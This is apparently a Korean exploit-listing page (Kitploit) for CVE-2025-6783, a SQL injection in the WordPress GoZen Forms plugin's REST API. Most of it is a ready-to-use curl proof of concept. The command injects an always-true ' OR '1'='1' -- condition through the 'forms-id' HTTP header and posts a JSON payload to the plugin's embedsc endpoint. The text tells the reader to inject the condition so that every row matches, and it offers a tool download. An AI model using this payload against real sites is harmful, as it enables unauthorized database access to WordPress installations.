CVE-2025-6783 — CVE-2025-6783에 대한 개념 증명 익스플로잇으로, 워드프레스 GoZen Forms REST API 엔드포인트에서 조작된 HTTP 헤더와 JSON 페이로드를 통해 SQL 인젝션을 시연합니다. | Kitploit

WHERE 절에 항상 참인 조건을 주입하여 모든 행이 일치하도록 하세요:

curl -i -X POST \
  -H "Content-Type: application/json" \
  -H "forms-id: poc-001' OR '1'='1' -- " \
  -H "domain-id: example.com" \
  -d '{
        "emabed_type":"iframe",
        "shortcode_title":"INJECTED",
        "shortcode_tag":"[xss]",
        "active":0
      }' \
  "http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"

도구 다운로드

CVE-2025-6783

인기